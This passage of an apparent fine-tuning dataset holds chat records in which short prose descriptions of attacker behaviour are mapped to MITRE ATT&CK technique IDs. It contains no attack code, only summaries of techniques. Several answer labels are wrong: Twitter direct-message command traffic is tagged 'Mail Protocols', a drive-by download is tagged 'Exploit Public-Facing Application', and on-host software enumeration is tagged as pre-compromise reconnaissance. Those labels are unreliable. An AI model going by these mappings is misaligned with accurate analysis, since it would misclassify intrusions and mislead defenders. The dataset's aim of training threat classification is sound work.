                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit allowed the adversary to alter firewall configurations in an OpenStack deployment, disabling security group enforcement for several tenant networks."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script posts stolen credentials to a malicious web API endpoint using JSON over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation module issues the 'id' command on Linux to retrieve the current user's local account details."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary updates a shared PowerPoint file on a network share to include a malicious macro that runs when any user opens it."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit RDP by brute‑forcing credentials and then moving laterally to other domain computers."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the Docker Engine API endpoint \"/containers/json\" to retrieve a JSON list of containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor acquires a zero‑day exploit kit and integrates it into a dropper that installs a remote access Trojan."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider used the company's VPN connection to a remote office to silently copy confidential spreadsheets to an external drive."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant opens a concealed window that monitors keyboard input, recording keystrokes without any visible indication."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltrator creates a domain account and adds it to the Domain Admins group to control the environment."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised a Kubernetes node and used \"kubectl exec\" to launch a reverse shell inside a running container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised user account, the adversary creates a rule that forwards all new messages to a hidden external mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload employs a scripted DNS query to retrieve a list of IPs for load balancing across multiple C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script replaces the pam_unix.so module with a custom version that always returns success, allowing unauthorized logins."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder enumerates local accounts, creates a new account, and logs in remotely via RDP."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan extracts the list of installed programs from the Program Files directory and reports back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used stolen credentials to log into the internal web server and altered the CSS to display offensive artwork."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites or removes file hashes and signature databases so that security tools cannot recognize the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By loading a malicious socket filter into the kernel, the attacker can monitor traffic for particular signatures and trigger a payload when they appear."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilized a shell script that writes to /etc/rc.local to ensure persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the built‑in Windows zip library to compress stolen files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary copies stolen files onto a USB flash drive and later plants the drive in a target's workstation to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages data locally by creating a compressed archive in the user’s Documents folder."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell cmdlet Get-GPResultantSetOfPolicy the attacker gathers the applied Group Policy settings on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs process hollowing to run malicious code within a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software performs a Bluetooth Low Energy scan that also reveals Wi‑Fi hotspot information in the vicinity."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compressed the malicious executable with UPX before delivering it to the victim, effectively packing the payload to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts an HTTP response splitting attack, injecting malicious code into HTTP responses to steal user data or execute unauthorized actions."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor scans open technical databases for expired or revoked certificates that may reveal infrastructure details."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit kit hides a malicious JavaScript payload within the comment tags of an SVG image file."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a scheduled task to repeatedly stop the 'Windows Event Log' service at system startup."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used PowerShell's -EncodedCommand flag to pass a base64‑encoded script to bypass detection."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a .vbs file that, when run, extracts embedded DLLs and registers them as services."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro decodes a hidden string using a VBA function before loading the malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed AES-encrypted data chunks into ICMP echo request packets, using them as a covert exfiltration channel that does not follow standard C2 protocols."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a signed Office add‑in to bypass security controls and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Windows registry to change the default domain policy settings for password complexity."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a new delegate to the target's Office 365 mailbox, enabling them to monitor and send emails as the victim."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script invokes the native zip utility to compress harvested files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages DNS subdomain queries to retrieve additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion placed exfiltrated data into a remote SMB share as a staging location."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hides a malicious payload within an image file's EXIF metadata to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware duplicates a token and then changes its ParentProcessId to that of a high‑privilege service."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies an existing systemd timer to trigger a malicious script every hour."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised service account's JWT access token to perform lateral movement across microservices within a Kubernetes cluster."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses XPC messaging to exfiltrate sensitive data from a sandboxed application to a background service with higher privileges."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used Bluetooth Low Energy packets to tunnel data between devices, circumventing traditional network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injected a drive‑by download into a trusted software download site, which verifies the presence of a particular VPN client before delivering a ransomware payload to targeted users."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage Twitter direct messages to send short commands to compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stops the backup daemon and wipes scheduled backup sets, ensuring the victim cannot recover data."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used SMBclient to pull files from a shared folder on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used stolen Azure AD credentials to access virtual machines via Azure Bastion, establishing a remote session."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adjusts the default umask to 000, causing newly created files to be world-readable and writable."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious module overwrites system call tables in memory to intercept and modify file read operations."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Windows Scheduled Tasks to move collected credentials to an external IP address on a daily basis."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux-based malware employs ptrace to perform process injection, hijacking a trusted binary to conceal its presence and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the compromised KRBTGT password hash, the attacker generates forged Kerberos tickets that impersonate high‑privilege users and bypass ACLs."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging stolen KRBTGT credentials, the adversary generates a Kerberos ticket that allows them to authenticate as any user without detection."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a COM add‑in for Excel that is executed every time Excel is opened."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses WMI query \"Select Name, ProcessId From Win32_Process\" to collect process information from the target machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the WMI Win32_Service class, the threat created a new service named 'SysUpdate' set to auto-start."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromised an FTP server by using a brute‑forced anonymous login, then uploaded malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators corrupt the integrity of a security tool by overwriting its binary with a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators enumerate the Kerberos delegation settings via the Get-ADObject cmdlet to uncover trust dependencies between service accounts."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploited a misconfigured Azure Bastion host to gain persistent remote access to the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential dumping, the attacker disguises the dumping tool by replacing its displayed arguments with those of a legitimate admin utility, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code performed a rapid TCP SYN sweep across the target's subnet to identify hosts with open ports."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators of a botnet advertised its use‑for‑hire services to other hackers for distributed mining."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disables Intel SGX enclaves, effectively disabling hardware encryption capabilities on the host."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a phishing email to obtain credentials, then creates a new Azure AD application with delegated permissions."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a drive-by download attack, compromising users' devices with exploits that escalate their privileges without detection."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the PAM stack to load a backdoored dynamic library that automatically authenticates the attacker’s account during login."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the PATH variable in a service’s environment block, the attacker forces the service to load a malicious binary when it looks for a required executable."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase inexpensive virtual private servers from a cloud provider and use them to stage phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes a step where `erase` utility is launched with the `--secure` flag to perform a secure erase of the SSD."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious OS loader is placed in the EFI System Partition, causing execution of the payload before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
